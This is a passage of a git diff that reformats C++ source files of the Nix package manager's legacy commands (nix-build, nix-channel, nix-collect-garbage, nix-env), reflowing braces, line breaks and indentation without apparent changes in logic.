isNixShell = std::regex_search(argv[0], std::regex("nix-shell$")); @@ -148,9 +147,21 @@ static void main_nix_build(int argc, char * * argv) // List of environment variables kept for --pure std::set keepVars{ - "HOME", "XDG_RUNTIME_DIR", "USER", "LOGNAME", "DISPLAY", - "WAYLAND_DISPLAY", "WAYLAND_SOCKET", "PATH", "TERM", "IN_NIX_SHELL", - "NIX_SHELL_PRESERVE_PROMPT", "TZ", "PAGER", "NIX_BUILD_SHELL", "SHLVL", + "HOME", + "XDG_RUNTIME_DIR", + "USER", + "LOGNAME", + "DISPLAY", + "WAYLAND_DISPLAY", + "WAYLAND_SOCKET", + "PATH", + "TERM", + "IN_NIX_SHELL", + "NIX_SHELL_PRESERVE_PROMPT", + "TZ", + "PAGER", + "NIX_BUILD_SHELL", + "SHLVL", }; keepVars.insert(networkProxyVariables.begin(), networkProxyVariables.end()); @@ -179,13 +190,15 @@ static void main_nix_build(int argc, char * * argv) args.push_back(word); } } - } catch (SystemError &) { } + } catch (SystemError &) { + } } struct MyArgs : LegacyArgs, MixEvalArgs { using LegacyArgs::LegacyArgs; - void setBaseDir(Path baseDir) { + void setBaseDir(Path baseDir) + { commandBaseDir = baseDir; } }; @@ -235,8 +248,10 @@ static void main_nix_build(int argc, char * * argv) else if (*arg == "--expr" || *arg == "-E") fromArgs = true; - else if (*arg == "--pure") pure = true; - else if (*arg == "--impure") pure = false; + else if (*arg == "--pure") + pure = true; + else if (*arg == "--impure") + pure = false; else if (isNixShell && (*arg == "--packages" || *arg == "-p")) packages = true; @@ -262,7 +277,12 @@ static void main_nix_build(int argc, char * * argv) // read the shebang to understand which packages to read from. Since // this is handled via nix-shell -p, we wrap our ruby script execution // in ruby -e 'load' which ignores the shebangs. - envCommand = fmt("exec %1% %2% -e 'load(ARGV.shift)' -- %3% %4%", execArgs, interpreter, shellEscape(script), toView(joined)); + envCommand = + fmt("exec %1% %2% -e 'load(ARGV.shift)' -- %3% %4%", + execArgs, + interpreter, + shellEscape(script), + toView(joined)); } else { envCommand = fmt("exec %1% %2% %3% %4%", execArgs, interpreter, shellEscape(script), toView(joined)); } @@ -293,7 +313,8 @@ static void main_nix_build(int argc, char * * argv) auto state = std::make_unique(myArgs.lookupPath, evalStore, fetchSettings, evalSettings, store); state->repair = myArgs.repair; - if (myArgs.repair) buildMode = bmRepair; + if (myArgs.repair) + buildMode = bmRepair; if (inShebang && compatibilitySettings.nixShellShebangArgumentsRelativeToScript) { myArgs.setBaseDir(absPath(dirOf(script))); @@ -304,20 +325,23 @@ static void main_nix_build(int argc, char * * argv) if (isNixShell) { auto newArgs = state->buildBindings(autoArgsWithInNixShell->size() + 1); newArgs.alloc("inNixShell").mkBool(true); - for (auto & i : *autoArgs) newArgs.insert(i); + for (auto & i : *autoArgs) + newArgs.insert(i); autoArgsWithInNixShell = newArgs.finish(); } if (packages) { std::ostringstream joined; - joined << "{...}@args: with import args; (pkgs.runCommandCC or pkgs.runCommand) \"shell\" { buildInputs = [ "; + joined + << "{...}@args: with import args; (pkgs.runCommandCC or pkgs.runCommand) \"shell\" { buildInputs = [ "; for (const auto & i : remainingArgs) joined << '(' << i << ") "; joined << "]; } \"\""; fromArgs = true; remainingArgs = {joined.str()}; } else if (!fromArgs && remainingArgs.empty()) { - if (isNixShell && !compatibilitySettings.nixShellAlwaysLooksForShellNix && std::filesystem::exists("shell.nix")) { + if (isNixShell && !compatibilitySettings.nixShellAlwaysLooksForShellNix + && std::filesystem::exists("shell.nix")) { // If we're in 2.3 compatibility mode, we need to look for shell.nix // now, because it won't be done later. remainingArgs = {"shell.nix"}; @@ -326,7 +350,10 @@ static void main_nix_build(int argc, char * * argv) // Instead of letting it throw later, we throw here to give a more relevant error message if (isNixShell && !std::filesystem::exists("shell.nix") && !std::filesystem::exists("default.nix")) - throw Error("no argument specified and no '%s' or '%s' file found in the working directory", "shell.nix", "default.nix"); + throw Error( + "no argument specified and no '%s' or '%s' file found in the working directory", + "shell.nix", + "default.nix"); } } @@ -348,14 +375,13 @@ static void main_nix_build(int argc, char * * argv) std::move(i), (inShebang && compatibilitySettings.nixShellShebangArgumentsRelativeToScript) ? lookupFileArg(*state, shebangBaseDir) - : state->rootPath(".") - )); - } - else { + : state->rootPath("."))); + } else { auto absolute = i; try { absolute = canonPath(absPath(i), true); - } catch (Error & e) {}; + } catch (Error & e) { + }; auto [path, outputNames] = parsePathWithOutputs(absolute); if (evalStore->isStorePath(path) && hasSuffix(path, ".drv")) drvs.push_back(PackageInfo(*state, evalStore, absolute)); @@ -364,10 +390,8 @@ static void main_nix_build(int argc, char * * argv) relative to the script. */ auto baseDir = inShebang && !packages ? absPath(i, absPath(dirOf(script))) : i; - auto sourcePath = lookupFileArg(*state, - baseDir); - auto resolvedPath = - isNixShell ? resolveShellExprPath(sourcePath) : resolveExprPath(sourcePath); + auto sourcePath = lookupFileArg(*state, baseDir); + auto resolvedPath = isNixShell ? resolveShellExprPath(sourcePath) : resolveExprPath(sourcePath); exprs.push_back(state->parseExprFromFile(resolvedPath)); } @@ -375,7 +399,8 @@ static void main_nix_build(int argc, char * * argv) } /* Evaluate them into derivations. */ - if (attrPaths.empty()) attrPaths = {""}; + if (attrPaths.empty()) + attrPaths = {""}; for (auto e : exprs) { Value vRoot; @@ -399,21 +424,11 @@ static void main_nix_build(int argc, char * * argv) }; for (auto & i : attrPaths) { - Value & v(*findAlongAttrPath( - *state, - i, - takesNixShellAttr(vRoot) ? *autoArgsWithInNixShell : *autoArgs, - vRoot - ).first); + Value & v( + *findAlongAttrPath(*state, i, takesNixShellAttr(vRoot) ? *autoArgsWithInNixShell : *autoArgs, vRoot) + .first); state->forceValue(v, v.determinePos(noPos)); - getDerivations( - *state, - v, - "", - takesNixShellAttr(v) ? *autoArgsWithInNixShell : *autoArgs, - drvs, - false - ); + getDerivations(*state, v, "", takesNixShellAttr(v) ? *autoArgsWithInNixShell : *autoArgs, drvs, false); } } @@ -424,8 +439,7 @@ static void main_nix_build(int argc, char * * argv) fetch binary cache data. */ uint64_t downloadSize, narSize; StorePathSet willBuild, willSubstitute, unknown; - store->queryMissing(paths, - willBuild, willSubstitute, unknown, downloadSize, narSize); + store->queryMissing(paths, willBuild, willSubstitute, unknown, downloadSize, narSize); if (settings.printMissing) printMissing(ref(store), willBuild, willSubstitute, unknown, downloadSize, narSize); @@ -453,9 +467,7 @@ static void main_nix_build(int argc, char * * argv) if (!shell) { try { - auto expr = state->parseExprFromString( - "(import {}).bashInteractive", - state->rootPath(".")); + auto expr = state->parseExprFromString("(import {}).bashInteractive", state->rootPath(".")); Value v; state->eval(expr, v); @@ -465,10 +477,11 @@ static void main_nix_build(int argc, char * * argv) throw Error("the 'bashInteractive' attribute in did not evaluate to a derivation"); auto bashDrv = drv->requireDrvPath(); - pathsToBuild.push_back(DerivedPath::Built { - .drvPath = makeConstantStorePathRef(bashDrv), - .outputs = OutputsSpec::Names {"out"}, - }); + pathsToBuild.push_back( + DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(bashDrv), + .outputs = OutputsSpec::Names{"out"}, + }); pathsToCopy.insert(bashDrv); shellDrv = bashDrv; @@ -481,16 +494,17 @@ static void main_nix_build(int argc, char * * argv) std::function, const DerivedPathMap::ChildNode &)> accumDerivedPath; - accumDerivedPath = [&](ref inputDrv, const DerivedPathMap::ChildNode & inputNode) { + accumDerivedPath = [&](ref inputDrv, + const DerivedPathMap::ChildNode & inputNode) { if (!inputNode.value.empty()) - pathsToBuild.push_back(DerivedPath::Built { - .drvPath = inputDrv, - .outputs = OutputsSpec::Names { inputNode.value }, - }); + pathsToBuild.push_back( + DerivedPath::Built{ + .drvPath = inputDrv, + .outputs = OutputsSpec::Names{inputNode.value}, + }); for (const auto & [outputName, childNode] : inputNode.childMap) accumDerivedPath( - make_ref(SingleDerivedPath::Built { inputDrv, outputName }), - childNode); + make_ref(SingleDerivedPath::Built{inputDrv, outputName}), childNode); }; // Build or fetch all dependencies of the derivation. @@ -498,11 +512,9 @@ static void main_nix_build(int argc, char * * argv) // To get around lambda capturing restrictions in the // standard. const auto & inputDrv = inputDrv0; - if (std::all_of(envExclude.cbegin(), envExclude.cend(), - [&](const std::string & exclude) { - return !std::regex_search(store->printStorePath(inputDrv), std::regex(exclude)); - })) - { + if (std::all_of(envExclude.cbegin(), envExclude.cend(), [&](const std::string & exclude) { + return !std::regex_search(store->printStorePath(inputDrv), std::regex(exclude)); + })) { accumDerivedPath(makeConstantStorePathRef(inputDrv), inputNode); pathsToCopy.insert(inputDrv); } @@ -514,7 +526,8 @@ static void main_nix_build(int argc, char * * argv) buildPaths(pathsToBuild); - if (dryRun) return; + if (dryRun) + return; if (shellDrv) { auto shellDrvOutputs = store->queryPartialDerivationOutputMap(shellDrv.value(), &*evalStore); @@ -565,7 +578,8 @@ static void main_nix_build(int argc, char * * argv) std::function::ChildNode &)> accumInputClosure; - accumInputClosure = [&](const StorePath & inputDrv, const DerivedPathMap::ChildNode & inputNode) { + accumInputClosure = [&](const StorePath & inputDrv, + const DerivedPathMap::ChildNode & inputNode) { auto outputs = store->queryPartialDerivationOutputMap(inputDrv, &*evalStore); for (auto & i : inputNode.value) { auto o = outputs.at(i); @@ -640,9 +654,7 @@ static void main_nix_build(int argc, char * * argv) for (auto & i : env) envStrs.push_back(i.first + "=" + i.second); - auto args = interactive - ? Strings{"bash", "--rcfile", rcfile} - : Strings{"bash", rcfile}; + auto args = interactive ? Strings{"bash", "--rcfile", rcfile} : Strings{"bash", rcfile}; auto envPtrs = stringsToCharPtrs(envStrs); @@ -674,10 +686,11 @@ static void main_nix_build(int argc, char * * argv) if (outputName == "") throw Error("derivation '%s' lacks an 'outputName' attribute", store->printStorePath(drvPath)); - pathsToBuild.push_back(DerivedPath::Built{ - .drvPath = makeConstantStorePathRef(drvPath), - .outputs = OutputsSpec::Names{outputName}, - }); + pathsToBuild.push_back( + DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(drvPath), + .outputs = OutputsSpec::Names{outputName}, + }); pathsToBuildOrdered.push_back({drvPath, {outputName}}); drvsToCopy.insert(drvPath); @@ -690,7 +703,8 @@ static void main_nix_build(int argc, char * * argv) buildPaths(pathsToBuild); - if (dryRun) return; + if (dryRun) + return; std::vector outPaths; @@ -708,7 +722,8 @@ static void main_nix_build(int argc, char * * argv) if (auto store2 = store.dynamic_pointer_cast()) { std::string symlink = drvPrefix; - if (outputName != "out") symlink += "-" + outputName; + if (outputName != "out") + symlink += "-" + outputName; store2->addPermRoot(outputPath, absPath(symlink)); } diff --git a/src/nix-channel/nix-channel.cc b/src/nix-channel/nix-channel.cc index c0baa4aa2..b08f81bab 100644 --- a/src/nix-channel/nix-channel.cc +++ b/src/nix-channel/nix-channel.cc @@ -24,7 +24,8 @@ static std::filesystem::path channelsList; // Reads the list of channels. static void readChannels() { - if (!pathExists(channelsList)) return; + if (!pathExists(channelsList)) + return; auto channelsFile = readFile(channelsList); for (const auto & line : tokenizeString>(channelsFile, "\n")) { @@ -69,7 +70,7 @@ static void removeChannel(const std::string & name) channels.erase(name); writeChannels(); - runProgram(getNixBin("nix-env").string(), true, { "--profile", profile, "--uninstall", name }); + runProgram(getNixBin("nix-env").string(), true, {"--profile", profile, "--uninstall", name}); } static Path nixDefExpr; @@ -82,9 +83,10 @@ static void update(const StringSet & channelNames) auto store = openStore(); auto [fd, unpackChannelPath] = createTempFile(); - writeFull(fd.get(), - #include "unpack-channel.nix.gen.hh" - ); + writeFull( + fd.get(), +#include "unpack-channel.nix.gen.hh" + ); fd = -1; AutoDelete del(unpackChannelPath, false); @@ -109,7 +111,10 @@ static void update(const StringSet & channelNames) // no need to update this channel, reuse the existing store path Path symlink = profile + "/" + name; Path storepath = dirOf(readLink(symlink)); - exprs.push_back("f: rec { name = \"" + cname + "\"; type = \"derivation\"; outputs = [\"out\"]; system = \"builtin\"; outPath = builtins.storePath \"" + storepath + "\"; out = { inherit outPath; };}"); + exprs.push_back( + "f: rec { name = \"" + cname + + "\"; type = \"derivation\"; outputs = [\"out\"]; system = \"builtin\"; outPath = builtins.storePath \"" + + storepath + "\"; out = { inherit outPath; };}"); } else { // We want to download the url to a file to see if it's a tarball while also checking if we // got redirected in the process, so that we can grab the various parts of a nix channel @@ -120,28 +125,38 @@ static void update(const StringSet & channelNames) bool unpacked = false; if (std::regex_search(filename, std::regex("\\.tar\\.(gz|bz2|xz)$"))) { - runProgram(getNixBin("nix-build").string(), false, { "--no-out-link", "--expr", "import " + unpackChannelPath + - "{ name = \"" + cname + "\"; channelName = \"" + name + "\"; src = builtins.storePath \"" + filename + "\"; }" }); + runProgram( + getNixBin("nix-build").string(), + false, + {"--no-out-link", + "--expr", + "import " + unpackChannelPath + "{ name = \"" + cname + "\"; channelName = \"" + name + + "\"; src = builtins.storePath \"" + filename + "\"; }"}); unpacked = true; } if (!unpacked) { // Download the channel tarball. try { - filename = store->toRealPath(fetchers::downloadFile(store, url + "/nixexprs.tar.xz", "nixexprs.tar.xz").storePath); + filename = store->toRealPath( + fetchers::downloadFile(store, url + "/nixexprs.tar.xz", "nixexprs.tar.xz").storePath); } catch (FileTransferError & e) { - filename = store->toRealPath(fetchers::downloadFile(store, url + "/nixexprs.tar.bz2", "nixexprs.tar.bz2").storePath); + filename = store->toRealPath( + fetchers::downloadFile(store, url + "/nixexprs.tar.bz2", "nixexprs.tar.bz2").storePath); } } // Regardless of where it came from, add the expression representing this channel to accumulated expression - exprs.push_back("f: f { name = \"" + cname + "\"; channelName = \"" + name + "\"; src = builtins.storePath \"" + filename + "\"; " + extraAttrs + " }"); + exprs.push_back( + "f: f { name = \"" + cname + "\"; channelName = \"" + name + "\"; src = builtins.storePath \"" + + filename + "\"; " + extraAttrs + " }"); } } // Unpack the channel tarballs into the Nix store and install them // into the channels profile. std::cerr << "unpacking " << exprs.size() << " channels...\n"; - Strings envArgs{ "--profile", profile, "--file", unpackChannelPath, "--install", "--remove-all", "--from-expression" }; + Strings envArgs{ + "--profile", profile, "--file", unpackChannelPath, "--install", "--remove-all", "--from-expression"}; for (auto & expr : exprs) envArgs.push_back(std::move(expr)); envArgs.push_back("--quiet"); @@ -171,18 +186,10 @@ static int main_nix_channel(int argc, char ** argv) nixDefExpr = getNixDefExpr(); // Figure out the name of the channels profile. - profile = profilesDir() + "/channels"; + profile = profilesDir() + "/channels"; createDirs(dirOf(profile)); - enum { - cNone, - cAdd, - cRemove, - cList, - cUpdate, - cListGenerations, - cRollback - } cmd = cNone; + enum { cNone, cAdd, cRemove, cList, cUpdate, cListGenerations, cRollback } cmd = cNone; std::vector args; parseCmdLine(argc, argv, [&](Strings::iterator & arg, const Strings::iterator & end) { if (*arg == "--help") { @@ -210,12 +217,12 @@ static int main_nix_channel(int argc, char ** argv) }); switch (cmd) { - case cNone: - throw UsageError("no command specified"); - case cAdd: - if (args.size() < 1 || args.size() > 2) - throw UsageError("'--add' requires one or two arguments"); - { + case cNone: + throw UsageError("no command specified"); + case cAdd: + if (args.size() < 1 || args.size() > 2) + throw UsageError("'--add' requires one or two arguments"); + { auto url = args[0]; std::string name; if (args.size() == 2) { @@ -226,40 +233,41 @@ static int main_nix_channel(int argc, char ** argv) name = std::regex_replace(name, std::regex("-stable$"), ""); } addChannel(url, name); - } - break; - case cRemove: - if (args.size() != 1) - throw UsageError("'--remove' requires one argument"); - removeChannel(args[0]); - break; - case cList: - if (!args.empty()) - throw UsageError("'--list' expects no arguments"); - readChannels(); - for (const auto & channel : channels) - std::cout << channel.first << ' ' << channel.second << '\n'; - break; - case cUpdate: - update(StringSet(args.begin(), args.end())); - break; - case cListGenerations: - if (!args.empty()) - throw UsageError("'--list-generations' expects no arguments"); - std::cout << runProgram(getNixBin("nix-env").string(), false, {"--profile", profile, "--list-generations"}) << std::flush; - break; - case cRollback: - if (args.size() > 1) - throw UsageError("'--rollback' has at most one argument"); - Strings envArgs{"--profile", profile}; - if (args.size() == 1) { - envArgs.push_back("--switch-generation"); - envArgs.push_back(args[0]); - } else { - envArgs.push_back("--rollback"); - } - runProgram(getNixBin("nix-env").string(), false, envArgs); - break; + } + break; + case cRemove: + if (args.size() != 1) + throw UsageError("'--remove' requires one argument"); + removeChannel(args[0]); + break; + case cList: + if (!args.empty()) + throw UsageError("'--list' expects no arguments"); + readChannels(); + for (const auto & channel : channels) + std::cout << channel.first << ' ' << channel.second << '\n'; + break; + case cUpdate: + update(StringSet(args.begin(), args.end())); + break; + case cListGenerations: + if (!args.empty()) + throw UsageError("'--list-generations' expects no arguments"); + std::cout << runProgram(getNixBin("nix-env").string(), false, {"--profile", profile, "--list-generations"}) + << std::flush; + break; + case cRollback: + if (args.size() > 1) + throw UsageError("'--rollback' has at most one argument"); + Strings envArgs{"--profile", profile}; + if (args.size() == 1) { + envArgs.push_back("--switch-generation"); + envArgs.push_back(args[0]); + } else { + envArgs.push_back("--rollback"); + } + runProgram(getNixBin("nix-env").string(), false, envArgs); + break; } return 0; diff --git a/src/nix-collect-garbage/nix-collect-garbage.cc b/src/nix-collect-garbage/nix-collect-garbage.cc index 3a84d97aa..89e5416cc 100644 --- a/src/nix-collect-garbage/nix-collect-garbage.cc +++ b/src/nix-collect-garbage/nix-collect-garbage.cc @@ -12,21 +12,23 @@ #include #include -namespace nix::fs { using namespace std::filesystem; } +namespace nix::fs { +using namespace std::filesystem; +} using namespace nix; std::string deleteOlderThan; bool dryRun = false; - /* If `-d' was specified, remove all old generations of all profiles. * Of course, this makes rollbacks to before this point in time * impossible. */ void removeOldGenerations(fs::path dir) { - if (access(dir.string().c_str(), R_OK) != 0) return; + if (access(dir.string().c_str(), R_OK) != 0) + return; bool canWrite = access(dir.string().c_str(), W_OK) == 0; @@ -41,7 +43,8 @@ void removeOldGenerations(fs::path dir) try { link = readLink(path); } catch (fs::filesystem_error & e) { - if (e.code() == std::errc::no_such_file_or_directory) continue; + if (e.code() == std::errc::no_such_file_or_directory) + continue; throw; } if (link.find("link") != std::string::npos) { @@ -58,7 +61,7 @@ void removeOldGenerations(fs::path dir) } } -static int main_nix_collect_garbage(int argc, char * * argv) +static int main_nix_collect_garbage(int argc, char ** argv) { { bool removeOld = false; @@ -70,12 +73,13 @@ static int main_nix_collect_garbage(int argc, char * * argv) showManPage("nix-collect-garbage"); else if (*arg == "--version") printVersion("nix-collect-garbage"); - else if (*arg == "--delete-old" || *arg == "-d") removeOld = true; + else if (*arg == "--delete-old" || *arg == "-d") + removeOld = true; else if (*arg == "--delete-older-than") { removeOld = true; deleteOlderThan = getArg(*arg, arg, end); - } - else if (*arg == "--dry-run") dryRun = true; + } else if (*arg == "--dry-run") + dryRun = true; else if (*arg == "--max-freed") options.maxFreed = std::max(getIntArg(*arg, arg, end, true), (int64_t) 0); else diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index 021619ada..493bc8eee 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -33,27 +33,17 @@ using namespace nix; using std::cout; - -typedef enum { - srcNixExprDrvs, - srcNixExprs, - srcStorePaths, - srcProfile, - srcAttrPath, - srcUnknown -} InstallSourceType; - +typedef enum { srcNixExprDrvs, srcNixExprs, srcStorePaths, srcProfile, srcAttrPath, srcUnknown } InstallSourceType; struct InstallSourceInfo { InstallSourceType type; std::shared_ptr nixExprPath; /* for srcNixExprDrvs, srcNixExprs */ - Path profile; /* for srcProfile */ - std::string systemFilter; /* for srcNixExprDrvs */ + Path profile; /* for srcProfile */ + std::string systemFilter; /* for srcNixExprDrvs */ Bindings * autoArgs; }; - struct Globals { InstallSourceInfo instSource; @@ -66,57 +56,49 @@ struct Globals bool prebuiltOnly; }; +typedef void (*Operation)(Globals & globals, Strings opFlags, Strings opArgs); -typedef void (* Operation) (Globals & globals, - Strings opFlags, Strings opArgs); - - -static std::string needArg(Strings::iterator & i, - Strings & args, const std::string & arg) +static std::string needArg(Strings::iterator & i, Strings & args, const std::string & arg) { - if (i == args.end()) throw UsageError("'%1%' requires an argument", arg); + if (i == args.end()) + throw UsageError("'%1%' requires an argument", arg); return *i++; } - -static bool parseInstallSourceOptions(Globals & globals, - Strings::iterator & i, Strings & args, const std::string & arg) +static bool parseInstallSourceOptions(Globals & globals, Strings::iterator & i, Strings & args, const std::string & arg) { if (arg == "--from-expression" || arg == "-E") globals.instSource.type = srcNixExprs; else if (arg == "--from-profile") { globals.instSource.type = srcProfile; globals.instSource.profile = needArg(i, args, arg); - } - else if (arg == "--attr" || arg == "-A") + } else if (arg == "--attr" || arg == "-A") globals.instSource.type = srcAttrPath; - else return false; + else + return false; return true; } - static bool isNixExpr(const SourcePath & path, struct SourceAccessor::Stat & st) { - return - st.type == SourceAccessor::tRegular - || (st.type == SourceAccessor::tDirectory && (path / "default.nix").resolveSymlinks().pathExists()); + return st.type == SourceAccessor::tRegular + || (st.type == SourceAccessor::tDirectory && (path / "default.nix").resolveSymlinks().pathExists()); } - static constexpr size_t maxAttrs = 1024; - -static void getAllExprs(EvalState & state, - const SourcePath & path, StringSet & seen, BindingsBuilder & attrs) +static void getAllExprs(EvalState & state, const SourcePath & path, StringSet & seen, BindingsBuilder & attrs) { StringSet namesSorted; - for (auto & [name, _] : path.resolveSymlinks().readDirectory()) namesSorted.insert(name); + for (auto & [name, _] : path.resolveSymlinks().readDirectory()) + namesSorted.insert(name); for (auto & i : namesSorted) { /* Ignore the manifest.nix used by profiles. This is necessary to prevent it from showing up in channels (which are implemented using profiles). */ - if (i == "manifest.nix") continue; + if (i == "manifest.nix") + continue; auto path2 = (path / i).resolveSymlinks(); @@ -137,10 +119,15 @@ static void getAllExprs(EvalState & state, attrName = std::string(attrName, 0, attrName.size() - 4); if (!seen.insert(attrName).second) { std::string suggestionMessage = ""; - if (path2.path.abs().find("channels") != std::string::npos && path.path.abs().find("channels") != std::string::npos) - suggestionMessage = fmt("\nsuggestion: remove '%s' from either the root channels or the user channels", attrName); - printError("warning: name collision in input Nix expressions, skipping '%1%'" - "%2%", path2, suggestionMessage); + if (path2.path.abs().find("channels") != std::string::npos + && path.path.abs().find("channels") != std::string::npos) + suggestionMessage = + fmt("\nsuggestion: remove '%s' from either the root channels or the user channels", attrName); + printError( + "warning: name collision in input Nix expressions, skipping '%1%'" + "%2%", + path2, + suggestionMessage); continue; } /* Load the expression on demand. */ @@ -149,16 +136,13 @@ static void getAllExprs(EvalState & state, if (seen.size() == maxAttrs) throw Error("too many Nix expressions in directory '%1%'", path); attrs.alloc(attrName).mkApp(&state.getBuiltin("import"), vArg); - } - else if (st.type == SourceAccessor::tDirectory) + } else if (st.type == SourceAccessor::tDirectory) /* `path2' is a directory (with no default.nix in it); recurse into it. */ getAllExprs(state, path2, seen, attrs); } } - - static void loadSourceExpr(EvalState & state, const SourcePath & path, Value & v) { auto st = path.resolveSymlinks().lstat(); @@ -180,13 +164,17 @@ static void loadSourceExpr(EvalState & state, const SourcePath & path, Value & v v.mkAttrs(attrs); } - else throw Error("path '%s' is not a directory or a Nix expression", path); + else + throw Error("path '%s' is not a directory or a Nix expression", path); } - -static void loadDerivations(EvalState & state, const SourcePath & nixExprPath, - std::string systemFilter, Bindings & autoArgs, - const std::string & pathPrefix, PackageInfos & elems) +static void loadDerivations( + EvalState & state, + const SourcePath & nixExprPath, + std::string systemFilter, + Bindings & autoArgs, + const std::string & pathPrefix, + PackageInfos & elems) { Value vRoot; loadSourceExpr(state, nixExprPath, vRoot); @@ -198,35 +186,33 @@ static void loadDerivations(EvalState & state, const SourcePath & nixExprPath, /* Filter out all derivations not applicable to the current system. */ for (PackageInfos::iterator i = elems.begin(), j; i != elems.end(); i = j) { - j = i; j++; + j = i; + j++; if (systemFilter != "*" && i->querySystem() != systemFilter) elems.erase(i); } } - static NixInt getPriority(EvalState & state, PackageInfo & drv) { return drv.queryMetaInt("priority", NixInt(0)); } - static std::strong_ordering comparePriorities(EvalState & state, PackageInfo & drv1, PackageInfo & drv2) { return getPriority(state, drv2) <=> getPriority(state, drv1); } - // FIXME: this function is rather slow since it checks a single path // at a time. static bool isPrebuilt(EvalState & state, PackageInfo & elem) { auto path = elem.queryOutPath(); - if (state.store->isValidPath(path)) return true; + if (state.store->isValidPath(path)) + return true; return state.store->querySubstitutablePaths({path}).count(path); } - static void checkSelectorUse(DrvNames & selectors) { /* Check that all selectors have been used. */ @@ -235,14 +221,14 @@ static void checkSelectorUse(DrvNames & selectors) throw Error("selector '%1%' matches no derivations", i.fullName); } - namespace { -std::set searchByPrefix(const PackageInfos & allElems, std::string_view prefix) { +std::set searchByPrefix(const PackageInfos & allElems, std::string_view prefix) +{ constexpr std::size_t maxResults = 3; std::set result; for (const auto & packageInfo : allElems) { - const auto drvName = DrvName { packageInfo.queryName() }; + const auto drvName = DrvName{packageInfo.queryName()}; if (hasPrefix(drvName.name, prefix)) { result.emplace(drvName.name); @@ -260,9 +246,10 @@ struct Match std::size_t index; Match(PackageInfo packageInfo_, std::size_t index_) - : packageInfo{std::move(packageInfo_)} - , index{index_} - {} + : packageInfo{std::move(packageInfo_)} + , index{index_} + { + } }; /* If a selector matches multiple derivations @@ -272,7 +259,8 @@ struct Match derivations, pick the one with the highest version. Finally, if there are still multiple derivations, arbitrarily pick the first one. */ -std::vector pickNewestOnly(EvalState & state, std::vector matches) { +std::vector pickNewestOnly(EvalState & state, std::vector matches) +{ /* Map from package names to derivations. */ std::map newest; StringSet multiple; @@ -280,7 +268,7 @@ std::vector pickNewestOnly(EvalState & state, std::vector matches) for (auto & match : matches) { auto & oneDrv = match.packageInfo; - const auto drvName = DrvName { oneDrv.queryName() }; + const auto drvName = DrvName{oneDrv.queryName()}; std::strong_ordering comparison = std::strong_ordering::greater; const auto itOther = newest.find(drvName.name); @@ -288,14 +276,14 @@ std::vector pickNewestOnly(EvalState & state, std::vector matches) if (itOther != newest.end()) { auto & newestDrv = itOther->second.packageInfo; - comparison = - oneDrv.querySystem() == newestDrv.querySystem() ? std::strong_ordering::equal : - oneDrv.querySystem() == settings.thisSystem ? std::strong_ordering::greater : - newestDrv.querySystem() == settings.thisSystem ? std::strong_ordering::less : std::strong_ordering::equal; + comparison = oneDrv.querySystem() == newestDrv.querySystem() ? std::strong_ordering::equal + : oneDrv.querySystem() == settings.thisSystem ? std::strong_ordering::greater + : newestDrv.querySystem() == settings.thisSystem ? std::strong_ordering::less + : std::strong_ordering::equal; if (comparison == 0) comparison = comparePriorities(state, oneDrv, newestDrv); if (comparison == 0) - comparison = compareVersions(drvName.version, DrvName { newestDrv.queryName() }.version); + comparison = compareVersions(drvName.version, DrvName{newestDrv.queryName()}.version); } if (comparison > 0) { @@ -310,9 +298,7 @@ std::vector pickNewestOnly(EvalState & state, std::vector matches) matches.clear(); for (auto & [name, match] : newest) { if (multiple.find(name) != multiple.end()) - warn( - "there are multiple derivations named '%1%'; using the first one", - name); + warn("there are multiple derivations named '%1%'; using the first one", name); matches.push_back(match); } @@ -321,8 +307,8 @@ std::vector pickNewestOnly(EvalState & state, std::vector matches) } // end namespace -static PackageInfos filterBySelector(EvalState & state, const PackageInfos & allElems, - const Strings & args, bool newestOnly) +static PackageInfos +filterBySelector(EvalState & state, const PackageInfos & allElems, const Strings & args, bool newestOnly) { DrvNames selectors = drvNamesFromArgs(args); if (selectors.empty()) @@ -334,7 +320,7 @@ static PackageInfos filterBySelector(EvalState & state, const PackageInfos & all for (auto & selector : selectors) { std::vector matches; for (const auto & [index, packageInfo] : enumerate(allElems)) { - const auto drvName = DrvName { packageInfo.queryName() }; + const auto drvName = DrvName{packageInfo.queryName()}; if (selector.matches(drvName)) { ++selector.hits; matches.emplace_back(packageInfo, index); @@ -369,16 +355,13 @@ static PackageInfos filterBySelector(EvalState & state, const PackageInfos & all return elems; } - static bool isPath(std::string_view s) { return s.find('/') != std::string_view::npos; } - -static void queryInstSources(EvalState & state, - InstallSourceInfo & instSource, const Strings & args, - PackageInfos & elems, bool newestOnly) +static void queryInstSources( + EvalState & state, InstallSourceInfo & instSource, const Strings & args, PackageInfos & elems, bool newestOnly) { InstallSourceType type = instSource.type; if (type == srcUnknown && args.size() > 0 && isPath(args.front())) @@ -386,98 +369,93 @@ static void queryInstSources(EvalState & state, switch (type) { - /* Get the available user environment elements from the - derivations specified in a Nix expression, including only - those with names matching any of the names in `args'. */ - case srcUnknown: - case srcNixExprDrvs: { + /* Get the available user environment elements from the + derivations specified in a Nix expression, including only + those with names matching any of the names in `args'. */ + case srcUnknown: + case srcNixExprDrvs: { - /* Load the derivations from the (default or specified) - Nix expression. */ - PackageInfos allElems; - loadDerivations(state, *instSource.nixExprPath, - instSource.systemFilter, *instSource.autoArgs, "", allElems); + /* Load the derivations from the (default or specified) + Nix expression. */ + PackageInfos allElems; + loadDerivations(state, *instSource.nixExprPath, instSource.systemFilter, *instSource.autoArgs, "", allElems); - elems = filterBySelector(state, allElems, args, newestOnly); + elems = filterBySelector(state, allElems, args, newestOnly); - break; + break; + } + + /* Get the available user environment elements from the Nix + expressions specified on the command line; these should be + functions that take the default Nix expression file as + argument, e.g., if the file is `./foo.nix', then the + argument `x: x.bar' is equivalent to `(x: x.bar) + (import ./foo.nix)' = `(import ./foo.nix).bar'. */ + case srcNixExprs: { + + Value vArg; + loadSourceExpr(state, *instSource.nixExprPath, vArg); + + for (auto & i : args) { + Expr * eFun = state.parseExprFromString(i, state.rootPath(".")); + Value vFun, vTmp; + state.eval(eFun, vFun); + vTmp.mkApp(&vFun, &vArg); + getDerivations(state, vTmp, "", *instSource.autoArgs, elems, true); } - /* Get the available user environment elements from the Nix - expressions specified on the command line; these should be - functions that take the default Nix expression file as - argument, e.g., if the file is `./foo.nix', then the - argument `x: x.bar' is equivalent to `(x: x.bar) - (import ./foo.nix)' = `(import ./foo.nix).bar'. */ - case 